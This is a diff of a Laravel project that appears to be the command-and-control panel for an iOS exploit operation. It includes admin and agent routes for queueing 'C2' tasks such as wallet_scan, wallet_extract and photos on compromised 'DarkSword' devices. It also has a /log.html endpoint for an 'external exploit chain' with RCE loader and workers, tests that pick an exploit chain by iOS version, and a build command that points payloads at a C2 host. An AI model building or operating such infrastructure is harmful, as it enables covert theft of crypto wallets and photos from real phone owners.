onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
</td>
</tr>
@endforeach
{{-- Dispatched tasks (in-flight) --}}
@foreach ($queueState['dispatched'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#fff7ed;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
</tr>
@endforeach
@if ($rowIdx === 0)
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
@endif
</tbody>
</table>
{{-- Hidden data for JS --}}
<script>
var queueParamSchema = @json($queueSchema);
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
var csrfToken = @json(csrf_token());
</script>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@@ -675,4 +746,214 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}
});
</script>
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
<script>
layui.use(['form', 'layer', 'jquery'], function () {
var form = layui.form;
var layer = layui.layer;
var $ = layui.jquery;
// 命令类型列表(key => 中文描述)
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
var paramSchema = window.queueParamSchema || {};
var addUrl = window.queueAddUrl;
var removeUrl = window.queueRemoveUrl;
var token = window.csrfToken;
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
function buildAddFormHtml() {
var opts = '<option value="">请选择命令</option>';
for (var k in queueTypes) {
if (!queueTypes.hasOwnProperty(k)) continue;
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
}
return ''
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
+ '<div class="layui-form-item">'
+ '<label class="layui-form-label">命令</label>'
+ '<div class="layui-input-block">'
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
+ '</div>'
+ '</div>'
+ '<div id="queueParamFields"></div>'
+ '<div class="layui-form-item" style="margin-bottom:0;">'
+ '<div class="layui-input-block">'
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
+ '</div>'
+ '</div>'
+ '</form>';
}
// 根据选中命令类型渲染动态参数字段
function renderParamFields(type) {
var $box = $('#queueParamFields');
$box.empty();
var fields = paramSchema[type] || [];
if (!fields.length) {
return;
}
var html = '';
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
if (ftype === 'select') {
var opts = '';
if (f.options) {
for (var ok in f.options) {
if (!f.options.hasOwnProperty(ok)) continue;
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
}
}
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
+ '</div>'
+ '</div>';
} else if (ftype === 'checkbox') {
var checked = def ? ' checked' : '';
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
+ '</div>'
+ '</div>';
} else if (ftype === 'textarea') {
html += '<div class="layui-form-item layui-form-text">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
+ '</div>'
+ '</div>';
} else if (ftype === 'number') {
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
} else {
// text
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
}
}
$box.html(html);
form.render(null, 'queueAddForm');
}
// 绑定「添加任务」按钮
$('#btnQueueAdd').on('click', function () {
var idx = layer.open({
type: 1,
title: '添加 C2 任务',
area: ['520px', '500px'],
maxmin: false,
content: buildAddFormHtml(),
success: function (layero, index) {
// 渲染初始 select
form.render(null, 'queueAddForm');
// 监听命令类型切换
form.on('select(queueTypeSelect)', function (data) {
renderParamFields(data.value);
});
// 监听提交
form.on('submit(queueAddSubmit)', function (data) {
submitAddTask(data.field, index);
return false;
});
}
});
});
// 提交添加任务
function submitAddTask(formData, layerIndex) {
if (!formData.type) {
return layer.msg('请选择命令类型', { icon: 2 });
}
// 收集 params
var params = {};
var fields = paramSchema[formData.type] || [];
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var key = f.name;
var raw = formData['params[' + key + ']'];
if (raw === undefined || raw === '') {
if (f.required) {
layer.msg('请填写 ' + f.label, { icon: 2 });
return;
}
continue;
}
if (f.type === 'number') {
params[key] = Number(raw);
} else if (f.type === 'checkbox') {
params[key] = (raw === 'on' || raw === true || raw === 'true');
} else {
params[key] = raw;
}
}
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: addUrl,
method: 'POST',
data: { type: formData.type, params: params, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
}
layer.close(layerIndex);
layer.msg('已添加', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
layer.msg(msg, { icon: 2 });
}
});
}
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
window.queueRemove = function (taskId, type) {
layer.confirm('移除此任务?(' + type + ')', {
icon: 3,
title: '移除任务'
}, function (index) {
layer.close(index);
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: removeUrl,
method: 'POST',
data: { task_id: taskId, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
}
layer.msg('已移除', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
layer.msg(msg, { icon: 2 });
}
});
});
};
});
</script>
@endpush
+5
View File
@@ -56,6 +56,11 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
// Beacon queue management (DarkSword devices)
Route::post('devices/{device}/queue/add', [DeviceController::class, 'queueAdd'])->name('devices.queue.add');
Route::post('devices/{device}/queue/remove', [DeviceController::class, 'queueRemove'])->name('devices.queue.remove');
Route::post('devices/{device}/queue/reorder', [DeviceController::class, 'queueReorder'])->name('devices.queue.reorder');
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
+35 -1
View File
@@ -98,11 +98,15 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run} {--ds-domain=}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$skipShared = (bool) $this->option('skip-shared');
$dryRun = (bool) $this->option('dry-run');
$dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/');
if ($dsDomain === '') {
$dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/');
}
$projects = app(ChannelProjectService::class);
try {
@@ -120,6 +124,9 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
if ($dsDomain !== '') {
$this->info('DS 域名: '.$dsDomain);
}
foreach ($resolved as $id) {
$this->line(' /channel/'.$id);
}
@@ -132,6 +139,7 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
! $skipShared,
$dsDomain,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
@@ -179,6 +187,32 @@ Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
return $code;
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
Artisan::command('ds:build-new {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds-new/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$c2 = trim((string) $this->option('c2'));
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
$delivery = trim((string) $this->option('delivery'));
if ($origin === '') {
$origin = rtrim((string) config('app.url'), '/');
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build-new --c2 https://c2.example.com');
}
$args = ['python3', $script, '--c2', $origin];
if ($delivery !== '') {
$args[] = '--delivery';
$args[] = $delivery;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Build with external 18.7 worker + upgraded offsets, rewrite nuhn93/one99 hosts to --c2');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
+4
View File
@@ -14,6 +14,10 @@ Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
// Maps to the same controller as /api/ds/log for unified log ingestion.
Route::any('/log.html', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+5
View File
@@ -55,6 +55,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
// Beacon queue management (DarkSword devices)
Route::post('devices/{device}/queue/add', [DeviceController::class, 'queueAdd'])->name('devices.queue.add');
Route::post('devices/{device}/queue/remove', [DeviceController::class, 'queueRemove'])->name('devices.queue.remove');
Route::post('devices/{device}/queue/reorder', [DeviceController::class, 'queueReorder'])->name('devices.queue.reorder');
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
+151 -87
View File
@@ -20,6 +20,7 @@ use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Redis;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -28,12 +29,30 @@ class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
protected function setUp(): void
{
parent::setUp();
// Clear Redis-based beacon queue keys between tests.
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
continue;
}
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
Redis::del(...$stripped);
}
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
@@ -57,7 +76,7 @@ class DarkSwordC2ApiTest extends TestCase
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
@@ -75,11 +94,11 @@ class DarkSwordC2ApiTest extends TestCase
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
@@ -118,7 +137,25 @@ class DarkSwordC2ApiTest extends TestCase
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
@@ -127,7 +164,8 @@ class DarkSwordC2ApiTest extends TestCase
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
$this->get('/log.html?text=lab')->assertOk();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
@@ -136,28 +174,28 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk()
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$this->assertSame(0, DsChainLog::query()->count());
Device::query()->create([
'device_id' => '50624FE26CC4A0DF689EAEA117557C3E',
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'album_storage' => true,
]);
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
@@ -220,7 +258,7 @@ class DarkSwordC2ApiTest extends TestCase
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
@@ -235,7 +273,7 @@ class DarkSwordC2ApiTest extends TestCase
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
@@ -244,11 +282,11 @@ class DarkSwordC2ApiTest extends TestCase
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
@@ -256,13 +294,13 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
@@ -674,159 +712,185 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
$ip = '127.0.0.1';
// Simulate the 5s gap passing — only forget the throttle timestamp, NOT
// the alternation state (dsq:type), so the next dispatch alternates.
$forget = function () use ($ip): void {
Cache::forget('dsq:last:'.$ip);
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> wallet_scan.
// First dispatch -> photos (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_scan',
'uuid' => self::DS_LHU,
'type' => 'photos',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// Simulate the 5s gap passing; next dispatch alternates to wallet_extract.
$forget();
// After the 5s gap -> wallet_scan (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
// Within 5s again -> noop.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> back to wallet_scan.
$forget();
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'noop']);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// seed() created one wallet_scan task; dequeue no longer mutates task state.
$this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_scan')
->assertDontSee('photo_scan')
->assertDontSee('basic_info');
->assertSee('photos')
->assertSee('wallet_scan');
}
#[Test]
public function beacon_throttles_same_ip_within_5s_gap(): void
{
$ip = '127.0.0.1';
$uuid = self::DS_LHU;
// First dispatch -> wallet_scan.
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> photos (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'photos']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by forgetting the throttle key), the next
// beacon alternates to wallet_extract.
Cache::forget('dsq:last:'.$ip);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'status' => 'success',
])->assertOk();
// After a result + gap, the next beacon still dispatches (alternates back).
Cache::forget('dsq:last:'.$ip);
// Completed task results are recorded as DeviceEvent (日志 tab).
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'noop']);
}
#[Test]
public function beacon_skips_legacy_photos_task(): void
public function beacon_dispatches_fifo_from_redis_queue(): void
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photos',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 3,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
// Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched.
$queue = app(DsBeaconQueue::class);
// Add tasks in order: photos, photo_scan, wallet_scan.
$queue->addTask($device, 'photos');
$queue->addTask($device, 'photo_scan');
$queue->addTask($device, 'wallet_scan');
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
// Clear throttle to allow next dispatch.
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$this->assertSame(
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
);
$this->assertSame(
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status')
);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
+14 -4
View File
@@ -75,14 +75,19 @@ class PageVisitTest extends TestCase
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
['18_1_1', PageVisit::CHAIN_DARKSWORD, '18.1.1'],
['18_4', PageVisit::CHAIN_DARKSWORD, '18.4'],
['18_4_1', PageVisit::CHAIN_DARKSWORD, '18.4.1'],
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
['18_7', PageVisit::CHAIN_DARKSWORD, '18.7'],
['18_7_1', PageVisit::CHAIN_DARKSWORD, '18.7.1'],
['18_7_2', PageVisit::CHAIN_DARKSWORD, '18.7.2'],
['18_7_3', PageVisit::CHAIN_CORUNA, '18.7.3'],
];
foreach ($cases as [$token, $chain, $osVersion]) {
Cache::flush();
@@ -474,14 +479,19 @@ class PageVisitTest extends TestCase
['17.3', false],
['18.2', false],
['18.2.1', false],
['18.4', false],
['18.1.1', true],
['18.4', true],
['18.4.1', true],
['18.5', true],
